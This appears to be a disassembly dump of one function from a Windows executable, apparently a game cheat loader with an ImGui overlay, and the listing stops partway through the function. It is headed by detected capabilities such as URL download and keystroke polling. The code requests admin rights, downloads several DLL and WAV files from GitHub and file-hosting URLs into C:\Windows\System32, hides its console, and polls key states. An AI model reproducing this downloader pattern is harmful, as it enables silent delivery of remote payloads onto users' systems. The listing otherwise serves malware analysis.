Function at 0x1400568f0
Capabilities:
Create process on windows
Create thread
Download url
Encode data using xor
Hide graphical window
Log keystrokes via polling
Receive data
Terminate process

Disassembly:
push rbp
lea rbp, [rsp - 0x2c90]
mov eax, 0x2d90
call fcn.14012a830
sub rsp, rax
call fcn.1400563e0
test al, al
jne 0x14005692e
xor r9d, r9d
lea rdx, str.Run_the_program_as_admin_By_MOMO_KBIRE__
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movzx eax, word [0x140169198]
lea r8, [rbp - 0x28]
movups xmm0, xmmword [str.https:__raw.githubusercontent.com_momokbire_MOMOMO_main_MOMOKBIRECHMAS.dll]
lea rdx, [rbp + 0xd0]
movups xmm1, xmmword [0x140169160]
xor r9d, r9d
mov word [rbp + 0x118], ax
xor ecx, ecx
movzx eax, byte [0x14016919a]
movups xmmword [rbp + 0xd0], xmm0
movups xmm0, xmmword [0x140169170]
mov byte [rbp + 0x11a], al
mov eax, dword [0x140169020]
movups xmmword [rbp + 0xf0], xmm0
movsd xmm0, qword [0x140169190]
movups xmmword [rbp + 0xe0], xmm1
movups xmm1, xmmword [0x140169180]
mov dword [rbp - 8], eax
movzx eax, word [0x140169024]
movsd qword [rbp + 0x110], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32MOMOKBIRECHMAS.dll]
mov word [rbp - 4], ax
movzx eax, byte [0x140169026]
movups xmmword [rbp + 0x100], xmm1
movups xmm1, xmmword [0x140169010]
mov qword [rsp + 0x2d78], r14
xor r14d, r14d
movups xmmword [rbp - 0x28], xmm0
mov byte [rbp - 2], al
movups xmmword [rbp - 0x18], xmm1
mov qword [rsp + 0x20], r14
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov eax, dword [0x1401691d8]
lea r8, [rbp - 0x78]
movups xmm0, xmmword [str.https:__raw.githubusercontent.com_ANESSDEV_esp_main_glew32.dll]
mov dword [rbp + 0x2f8], eax
xor r9d, r9d
movzx eax, word [0x1401691dc]
lea rdx, [rbp + 0x2c0]
movups xmm1, xmmword [0x1401691b0]
mov word [rbp + 0x2fc], ax
xor ecx, ecx
movzx eax, byte [0x1401691de]
movups xmmword [rbp + 0x2c0], xmm0
mov byte [rbp + 0x2fe], al
movups xmm0, xmmword [0x1401691c0]
mov eax, dword [0x140169098]
mov dword [rbp - 0x60], eax
movzx eax, word [0x14016909c]
movups xmmword [rbp + 0x2e0], xmm0
mov word [rbp - 0x5c], ax
movsd xmm0, qword [0x1401691d0]
movzx eax, byte [0x14016909e]
movsd qword [rbp + 0x2f0], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32glew32.dll]
mov byte [rbp - 0x5a], al
movups xmmword [rbp + 0x2d0], xmm1
mov qword [rsp + 0x20], r14
movups xmmword [rbp - 0x78], xmm0
movsd xmm0, qword [0x140169090]
movsd qword [rbp - 0x68], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov eax, dword [0x140169228]
movups xmm0, xmmword [str.https:__raw.githubusercontent.com_momokbire_MOMOMO_refs_heads_main_glew64.dll]
movups xmm1, xmmword [0x1401691f0]
movups xmmword [rbp + 0xd0], xmm0
movups xmm0, xmmword [0x140169200]
movups xmmword [rbp + 0xf0], xmm0
movsd xmm0, qword [0x140169220]
movsd qword [rbp + 0x110], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32glew64.dll]
mov dword [rbp + 0x118], eax
movzx eax, word [0x14016922c]
movups xmmword [rbp - 0x78], xmm0
mov word [rbp + 0x11c], ax
movsd xmm0, qword [0x1401690c8]
mov eax, dword [0x1401690d0]
movups xmmword [rbp + 0xe0], xmm1
movups xmm1, xmmword [0x140169210]
movsd qword [rbp - 0x68], xmm0
movups xmmword [rbp + 0x100], xmm1
mov dword [rbp - 0x60], eax
lea r8, [rbp - 0x78]
movzx eax, word [0x1401690d4]
lea rdx, [rbp + 0xd0]
mov word [rbp - 0x5c], ax
xor r9d, r9d
movzx eax, byte [0x1401690d6]
xor ecx, ecx
mov byte [rbp - 0x5a], al
mov qword [rsp + 0x20], r14
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_b37xai.dll]
mov eax, dword [0x140169250]
lea r8, [rbp - 0x78]
movups xmm1, xmmword [0x140169240]
mov dword [rbp - 8], eax
lea rdx, [rbp - 0x28]
mov eax, dword [0x140169058]
xor r9d, r9d
movups xmmword [rbp - 0x28], xmm0
mov dword [rbp - 0x60], eax
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsSystem32_b37xai.dll]
movzx eax, word [0x14016905c]
mov word [rbp - 0x5c], ax
movzx eax, byte [0x14016905e]
movups xmmword [rbp - 0x78], xmm0
mov byte [rbp - 0x5a], al
movsd xmm0, qword [0x140169050]
movsd qword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x18], xmm1
mov qword [rsp + 0x20], r14
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__raw.githubusercontent.com_momokbire_MOMOMO_refs_heads_main_mr7babikk.wav]
lea r8, [rbp - 0x28]
movups xmm1, xmmword [0x140169270]
lea rdx, [rbp + 0x260]
movzx eax, byte [0x1401692b0]
xor r9d, r9d
movups xmmword [rbp + 0x260], xmm0
xor ecx, ecx
movups xmm0, xmmword [0x140169280]
movups xmmword [rbp + 0x280], xmm0
movups xmm0, xmmword [0x1401692a0]
movups xmmword [rbp + 0x270], xmm1
movups xmm1, xmmword [0x140169290]
movups xmmword [rbp + 0x2a0], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32mr7babikk.wav]
mov byte [rbp + 0x2b0], al
movzx eax, word [0x140168d60]
movups xmmword [rbp + 0x290], xmm1
movups xmm1, xmmword [0x140168d50]
mov word [rbp - 8], ax
movups xmmword [rbp - 0x28], xmm0
mov qword [rsp + 0x20], r14
movups xmmword [rbp - 0x18], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__raw.githubusercontent.com_momokbire_MOMOMO_refs_heads_main_salm.wav]
lea r8, [rbp - 0x78]
mov eax, dword [0x140169308]
lea rdx, [rbp + 0xd0]
movups xmm1, xmmword [0x1401692d0]
xor r9d, r9d
movups xmmword [rbp + 0xd0], xmm0
movups xmm0, xmmword [0x1401692e0]
movups xmmword [rbp + 0xf0], xmm0
movsd xmm0, qword [0x140169300]
movsd qword [rbp + 0x110], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32_salm.wav]
mov dword [rbp + 0x118], eax
mov eax, dword [0x140169328]
movups xmmword [rbp - 0x78], xmm0
mov dword [rbp - 0x60], eax
movsd xmm0, qword [0x140169320]
movzx eax, byte [0x14016932c]
movups xmmword [rbp + 0xe0], xmm1
movups xmm1, xmmword [0x1401692f0]
movsd qword [rbp - 0x68], xmm0
movups xmmword [rbp + 0x100], xmm1
mov byte [rbp - 0x5c], al
mov qword [rsp + 0x20], r14
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x140052000]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.14004eb60
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x14004e210]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x14004e350]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, [0x14004d8d0]
lea rcx, [rbp - 0x38]
call fcn.14005e980
lea rcx, [rbp - 0x38]
call fcn.14004ab40
cmp dword [rbp - 0x30], r14d
je 0x140056d6b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov rcx, qword [0x1403d79e8]
call fcn.14004d930
lea rcx, [0x1403f8d40]
call fcn.1400d38b0
cmp dword [0x1403d7a50], r14d
jne 0x140056d9f
call fcn.14005f2d0
mov rcx, rax
call fcn.14005f230
mov dword [0x1403d7a50], eax
call fcn.14005f2d0
mov edx, dword [0x1403d7a50]
mov rcx, rax
call fcn.14005f170
lea rcx, [0x1403f8d40]
call fcn.1400d38b0
cmp byte [0x1403f8f58], r14b
jne 0x140056df8
lea rcx, [0x1403f8f60]
call fcn.140045370
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rax, [0x14005d560]
mov qword [rsp + 0x2da0], rbx
mov edx, 0x7f00
mov qword [rbp + 0x218], rax
xor ecx, ecx
mov qword [rsp + 0x2d70], r15
mov dword [rbp + 0x210], 0x50
mov dword [rbp + 0x214], 0x40
mov qword [rbp + 0x220], r14
mov qword [rbp + 0x228], r14
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x230], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov edx, 0x7f00
mov qword [rbp + 0x240], r14
mov qword [rbp + 0x238], rax
xor ecx, ecx
lea rax, str.ImGui
mov qword [rbp + 0x248], rax
lea rax, str.NhanZed
mov qword [rbp + 0x250], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x210]
mov qword [rbp + 0x258], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r15d, 1
mov ecx, r15d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x140]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r14
lea r8, str.NhanZed_4.1
mov qword [rsp + 0x50], r14
cdq
mov qword [rsp + 0x48], r14
sub eax, edx
mov rdx, qword [rbp + 0x250]
mov r9d, 0x80000000
mov qword [rsp + 0x40], r14
xor ecx, ecx
mov dword [rsp + 0x38], 0x280
sar eax, 1
sub eax, 0x1db
mov dword [rsp + 0x30], 0x3b6
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
movdqa xmm0, xmmword [0x140169e30]
lea rdx, [rbp + 0x8d8]
mov rcx, rax
mov qword [0x1403d7a28], rax
movdqu xmmword [rbp + 0x8d8], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x1403d7a28]
lea rdx, [0x1403d7a40]
xorps xmm0, xmm0
movups xmmword [0x1403d7a40], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x1403d7a28]
call fcn.14005d350
test al, al
jne 0x140056f8e
call fcn.14005d4e0
mov rdx, qword [rbp + 0x228]
mov rcx, qword [rbp + 0x250]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r15d
jmp 0x14005d1bd
mov rcx, qword [0x1403d7a28]
mov edx, 0xa
mov qword [rsp + 0x2db0], rdi
movaps xmmword [rsp + 0x2d60], xmm6
movaps xmmword [rsp + 0x2d50], xmm7
movaps xmmword [rsp + 0x2d40], xmm8
movaps xmmword [rsp + 0x2d30], xmm9
movaps xmmword [rsp + 0x2d20], xmm10
movaps xmmword [rsp + 0x2d10], xmm11
movaps xmmword [rsp + 0x2d00], xmm12
movaps xmmword [rsp + 0x2cf0], xmm13
movaps xmmword [rsp + 0x2ce0], xmm14
movaps xmmword [rsp + 0x2cd0], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1403d7a28]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
lea rcx, str.1.89.6
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov edx, 0x37c8
mov r9d, 8
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r8d, 0x448
call fcn.140017430
xor ecx, ecx
call fcn.140006b30
call fcn.140008b50
lea rcx, [rbp + 0xab0]
mov rdi, rax
or dword [rax], 3
call fcn.14002a670
mov dword [rbp + 0xafc], 0x10c
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.14002d890
movss xmm6, dword [0x140169ca4]
lea rdx, [0x140243280]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0xab0]
mov r8d, 0x26368
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b170
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1403d7a00], rax
call fcn.14002d890
movss xmm7, dword [0x140169c9c]
lea rdx, [0x140243280]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm7
lea rax, [rbp + 0xab0]
mov r8d, 0x26368
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b170
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1403d7a90], rax
call fcn.14002d890
movss xmm3, dword [0x140169cc0]
lea rdx, [0x14035a910]
mov qword [rsp + 0x28], rax
mov r8d, 0xf40
lea rax, [rbp + 0xab0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b170
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1403d7a98], rax
call fcn.14002d890
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0xab0]
mov qword [rsp + 0x20], rax
mov r8d, 0x25958
lea rdx, [0x140334fb0]
mov rcx, rbx
call fcn.14002b170
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1403d7a88], rax
call fcn.14002d890
movss xmm3, dword [0x140169cc8]
lea rdx, [0x140334fb0]
mov qword [rsp + 0x28], rax
mov r8d, 0x25958
lea rax, [rbp + 0xab0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b170
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1403d7a10], rax
call fcn.14002d890
movss xmm3, dword [0x140169cb0]
lea rdx, [0x14035b850]
mov qword [rsp + 0x28], rax
mov r8d, 0x954
lea rax, [rbp + 0xab0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b170
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1403d7a80], rax
call fcn.14002d890
mov qword [rsp + 0x28], rax
lea rdx, [0x140380fb0]
lea rax, [rbp + 0xab0]
movaps xmm3, xmm6
mov r8d, 0x4ba44
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.14002b170
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.14002d890
mov qword [rsp + 0x28], rax
lea rdx, [0x1402715d0]
lea rax, [rbp + 0xab0]
movaps xmm3, xmm6
mov r8d, 0x4d2c4
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.14002b170
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1403d79f8], rax
call fcn.14002d890
mov qword [rsp + 0x28], rax
lea rdx, [0x1403d0820]
lea rax, [rbp + 0xab0]
movaps xmm3, xmm7
mov r8d, 0xb18
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.14002b170
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1403d7a08], rax
call fcn.14002d890
movss xmm3, dword [0x140169cd4]
lea rdx, [0x14035ffd0]
mov qword [rsp + 0x28], rax
mov r8d, 0x20fe0
mov rcx, rbx
mov qword [rsp + 0x20], r14
call fcn.14002b170
cmp qword [0x1403d79b8], r14
mov qword [rbp + 0x1d0], rax
jne 0x140057333
mov rcx, qword [0x1403d7a58]
lea rax, [0x1403d79b8]
mov qword [rsp + 0x30], r14
lea r9, [0x1403d65c8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1402be8a0]
mov qword [rsp + 0x20], rcx
mov r8d, 0x7269c
mov rcx, qword [0x1403fd420]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403d7990], r14
jne 0x14005737a
mov rcx, qword [0x1403fd420]
lea rax, [0x1403d7990]
mov qword [rsp + 0x30], r14
lea r9, [0x1403d65c8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1402695f0]
mov rax, qword [0x1403d7a58]
mov r8d, 0x3f8e
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403d7998], r14
jne 0x1400573c1
mov rcx, qword [0x1403fd420]
lea rax, [0x1403d7998]
mov qword [rsp + 0x30], r14
lea r9, [0x1403d65c8]
mov qword [rsp + 0x28], rax
lea rdx, [0x140182110]
mov rax, qword [0x1403d7a58]
mov r8d, 0xc1167
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403d79e0], r14
jne 0x140057408
mov rcx, qword [0x1403fd420]
lea rax, [0x1403d79e0]
mov qword [rsp + 0x30], r14
lea r9, [0x1403d65c8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1403d1340]
mov rax, qword [0x1403d7a58]
mov r8d, 0x3e1c
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403d79c0], r14
jne 0x14005744f
mov rcx, qword [0x1403fd420]
lea rax, [0x1403d79c0]
mov qword [rsp + 0x30], r14
lea r9, [0x1403d65c8]
mov qword [rsp + 0x28], rax
lea rdx, [0x14035c1b0]
mov rax, qword [0x1403d7a58]
mov r8d, 0x3e1c
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403d79a0], r14
jne 0x140057496
mov rcx, qword [0x1403fd420]
lea rax, [0x1403d79a0]
mov qword [rsp + 0x30], r14
lea r9, [0x1403d65c8]
mov qword [rsp + 0x28], rax
lea rdx, [0x14026d7b0]
mov rax, qword [0x1403d7a58]
mov r8d, 0x3e1c
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403d79d0], r14
jne 0x1400574dd
mov rcx, qword [0x1403fd420]
lea rax, [0x1403d79d0]
mov qword [rsp + 0x30], r14
lea r9, [0x1403d65c8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1403cca00]
mov rax, qword [0x1403d7a58]
mov r8d, 0x3e1c
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403d79b0], r14
jne 0x140057524
mov rcx, qword [0x1403fd420]
lea rax, [0x1403d79b0]
mov qword [rsp + 0x30], r14
lea r9, [0x1403d65c8]
mov qword [rsp + 0x28], rax
lea rdx, [0x140330f40]
mov rax, qword [0x1403d7a58]
mov r8d, reloc.WLDAP32.dll_Ordinal_211
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403d79a8], r14
jne 0x14005756b
mov rcx, qword [0x1403fd420]
lea rax, [0x1403d79a8]
mov qword [rsp + 0x30], r14
lea r9, [0x1403d65c8]
mov qword [rsp + 0x28], rax
lea rdx, [0x14026d580]
mov rax, qword [0x1403d7a58]
mov r8d, 0x230
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403d79c8], r14
jne 0x1400575b2
mov rcx, qword [0x1403fd420]
lea rax, [0x1403d79c8]
mov qword [rsp + 0x30], r14
lea r9, [0x1403d65c8]
mov qword [rsp + 0x28], rax
lea rdx, [0x140331020]
mov rax, qword [0x1403d7a58]
mov r8d, 0x3f8e
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x1403d7a28]
call fcn.140048030
mov rdx, qword [0x1403fd428]
mov rcx, qword [0x1403fd420]
call fcn.140047b60
lea rcx, [0x1403f8b10]
call fcn.1400511b0
mov rdx, rax
lea rcx, [0x1403f8b10]
call fcn.140051240
lea rcx, [rbp + 0xbc0]
test eax, eax
jne 0x14005760b
lea r9, str.Emulator_Not_Founed
mov edx, 3
mov r8d, 0x5dc
jmp 0x14005761b
lea r9, str.Emulator_Founed
mov r8d, 0xbb8
mov edx, r15d
call fcn.14004ab80
lea rcx, [rbp + 0xbc0]
call fcn.14004ac60
xorps xmm9, xmm9
lea rcx, [rbp + 0xb40]
xorps xmm3, xmm3
movss dword [rsp + 0x20], xmm9
xorps xmm2, xmm2
xorps xmm1, xmm1
call fcn.140001ed0
movdqa xmm14, xmmword [0x14016a150]
xor bl, bl
movdqa xmm6, xmmword [0x14016a110]
movdqa xmm7, xmmword [0x14016a100]
movdqa xmm8, xmmword [0x14016a0f0]
movdqa xmm13, xmmword [0x14016a0d0]
movdqa xmm15, xmmword [str.6666]
movdqa xmm10, xmmword [0x14016a310]
movss xmm12, dword [0x140169c00]
movss xmm11, dword [0x140169cf4]
mov qword [rsp + 0x2da8], rsi
mov qword [rsp + 0x2d88], r12
mov dword [rbp - 0x58], ebx
mov qword [rsp + 0x2d80], r13
nop dword [rax + rax]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, [rbp + 0x2c0]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140057731
nop
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x2c8], 0x12
lea rcx, [rbp + 0x2c0]
movzx ebx, bl
cmove ebx, r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x1400576e0
mov dword [rbp - 0x58], ebx
test bl, bl
jne 0x14005d10c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x14005d1de
mov ecx, Ordinal_50
call fcn.140052140
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx r13d, al
call fcn.140052140
mov ecx, 0x33
mov byte [rsp + 0x60], al
call fcn.140052140
mov ecx, reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x61], al
call fcn.140052140
mov ecx, WSAStartup
mov byte [rsp + 0x62], al
call fcn.140052140
mov ecx, WSAStartup
mov byte [rsp + 0x64], al
call fcn.140052140
mov ecx, reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x65], al
call fcn.140052140
mov ecx, 0x51
mov byte [rsp + 0x66], al
call fcn.140052140
mov ecx, 0x45
mov byte [rsp + 0x67], al
call fcn.140052140
mov ecx, dword [0x1403d796c]
movzx r9d, byte [0x1403d793b]
movzx r10d, byte [0x1403d7a72]
movzx r11d, byte [0x1403d7a1a]
movzx ebx, byte [0x1403d795c]
movzx edi, byte [0x1403d7a26]
movzx esi, byte [0x1403d79f4]
movzx r14d, byte [0x1403d793e]
movzx r15d, byte [0x1403d793f]
movzx r12d, byte [0x1403d7a1b]
mov byte [rsp + 0x63], al
cmp ecx, 1
jne 0x140057847
test r13b, r13b
je 0x1400579fd
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r9b, r9b
jne 0x140057a0d
cmp byte [0x1403d7a69], r9b
sete byte [0x1403d7a69]
jmp 0x140057a0d
cmp ecx, 2
jne 0x140057880
movzx ecx, byte [rsp + 0x60]
test cl, cl
je 0x140057a02
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r10b, r10b
jne 0x140057a0d
cmp byte [0x1403d7a69], r10b
sete byte [0x1403d7a69]
jmp 0x140057a0d
cmp ecx, 3
jne 0x1400578b9
movzx edx, byte [rsp + 0x61]
movzx ecx, byte [rsp + 0x60]
movzx r8d, byte [rsp + 0x62]
test dl, dl
je 0x140057a0d
test r11b, r11b
jne 0x140057a0d
cmp byte [0x1403d7a69], r11b
sete byte [0x1403d7a69]
jmp 0x140057a0d
cmp ecx, 4
jne 0x1400578f1
movzx r8d, byte [rsp + 0x62]
movzx ecx, byte [rsp + 0x60]
test r8b, r8b
je 0x140057a08
movzx edx, byte [rsp + 0x61]
test bl, bl
jne 0x140057a0d
cmp byte [0x1403d7a69], bl
sete byte [0x1403d7a69]
jmp 0x140057a0d
cmp ecx, 5
jne 0x14005792d
cmp byte [rsp + 0x64], 0
je 0x1400579fd
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test dil, dil
jne 0x140057a0d
cmp byte [0x1403d7a69], dil
sete byte [0x1403d7a69]
jmp 0x140057a0d
cmp ecx, 6
jne 0x140057969
cmp byte [rsp + 0x65], 0
je 0x1400579fd
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test sil, sil
jne 0x140057a0d
cmp byte [0x1403d7a69], sil
sete byte [0x1403d7a69]
jmp 0x140057a0d
cmp ecx, 7
jne 0x14005799e
cmp byte [rsp + 0x66], 0
je 0x1400579fd
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r14b, r14b
jne 0x140057a0d
cmp byte [0x1403d7a69], r14b
sete byte [0x1403d7a69]
jmp 0x140057a0d
cmp ecx, 8
jne 0x1400579cf
cmp byte [rsp + 0x67], 0
je 0x1400579fd
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r15b, r15b
jne 0x140057a0d
cmp byte [0x1403d7a69], r15b
sete byte [0x1403d7a69]
jmp 0x140057a0d
cmp ecx, 9
jne 0x1400579fd
test al, al
je 0x1400579fd
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r12b, r12b
jne 0x140057a0d
cmp byte [0x1403d7a69], r12b
sete byte [0x1403d7a69]
jmp 0x140057a0d
movzx ecx, byte [rsp + 0x60]
movzx r8d, byte [rsp + 0x62]
movzx edx, byte [rsp + 0x61]
mov eax, dword [0x1403d79f0]
cmp eax, 1
jne 0x140057a29
test r13b, r13b
je 0x140057aba
test r9b, r9b
jmp 0x140057aaa
cmp eax, 2
jne 0x140057a3b
test cl, cl
je 0x140057aba
test r10b, r10b
jmp 0x140057aaa
cmp eax, 3
jne 0x140057a49
test dl, dl
je 0x140057aba
test r11b, r11b
jmp 0x140057aaa
cmp eax, 4
jne 0x140057a57
test r8b, r8b
je 0x140057aba
test bl, bl
jmp 0x140057aaa
cmp eax, 5
jne 0x140057a68
cmp byte [rsp + 0x64], 0
je 0x140057aba
test dil, dil
jmp 0x140057aaa
cmp eax, 6
jne 0x140057a79
cmp byte [rsp + 0x65], 0
je 0x140057aba
test sil, sil
jmp 0x140057aaa
cmp eax, 7
jne 0x140057a8a
cmp byte [rsp + 0x66], 0
je 0x140057aba
test r14b, r14b
jmp 0x140057aaa
cmp eax, 8
jne 0x140057a9b
cmp byte [rsp + 0x67], 0
je 0x140057aba
test r15b, r15b
jmp 0x140057aaa
cmp eax, 9
jne 0x140057aba
cmp byte [rsp + 0x63], 0
je 0x140057aba
test r12b, r12b
jne 0x140057aba
cmp byte [0x1403d7a68], 0
sete byte [0x1403d7a68]
mov eax, dword [0x1403d7980]
cmp eax, 1
jne 0x140057ad6
test r13b, r13b
je 0x140057b67
test r9b, r9b
jmp 0x140057b57
cmp eax, 2
jne 0x140057ae8
test cl, cl
je 0x140057b67
test r10b, r10b
jmp 0x140057b57
cmp eax, 3
jne 0x140057af6
test dl, dl
je 0x140057b67
test r11b, r11b
jmp 0x140057b57
cmp eax, 4
jne 0x140057b04
test r8b, r8b
je 0x140057b67
test bl, bl
jmp 0x140057b57
cmp eax, 5
jne 0x140057b15
cmp byte [rsp + 0x64], 0
je 0x140057b67
test dil, dil
jmp 0x140057b57
cmp eax, 6
jne 0x140057b26
cmp byte [rsp + 0x65], 0
je 0x140057b67
test sil, sil
jmp 0x140057b57
cmp eax, 7
jne 0x140057b37
cmp byte [rsp + 0x66], 0
je 0x140057b67
test r14b, r14b
jmp 0x140057b57
cmp eax, 8
jne 0x140057b48
cmp byte [rsp + 0x67], 0
je 0x140057b67
test r15b, r15b
jmp 0x140057b57
cmp eax, 9
jne 0x140057b67
cmp byte [rsp + 0x63], 0
je 0x140057b67
test r12b, r12b
jne 0x140057b67
cmp byte [0x1403d7a18], 0
sete byte [0x1403d7a18]
mov eax, dword [0x1403d798c]
cmp eax, 1
jne 0x140057b83
test r13b, r13b
je 0x140057c14
test r9b, r9b
jmp 0x140057c04
cmp eax, 2
jne 0x140057b95
test cl, cl
je 0x140057c14
test r10b, r10b
jmp 0x140057c04
cmp eax, 3
jne 0x140057ba3
test dl, dl
je 0x140057c14
test r11b, r11b
jmp 0x140057c04
cmp eax, 4
jne 0x140057bb1
test r8b, r8b
je 0x140057c14
test bl, bl
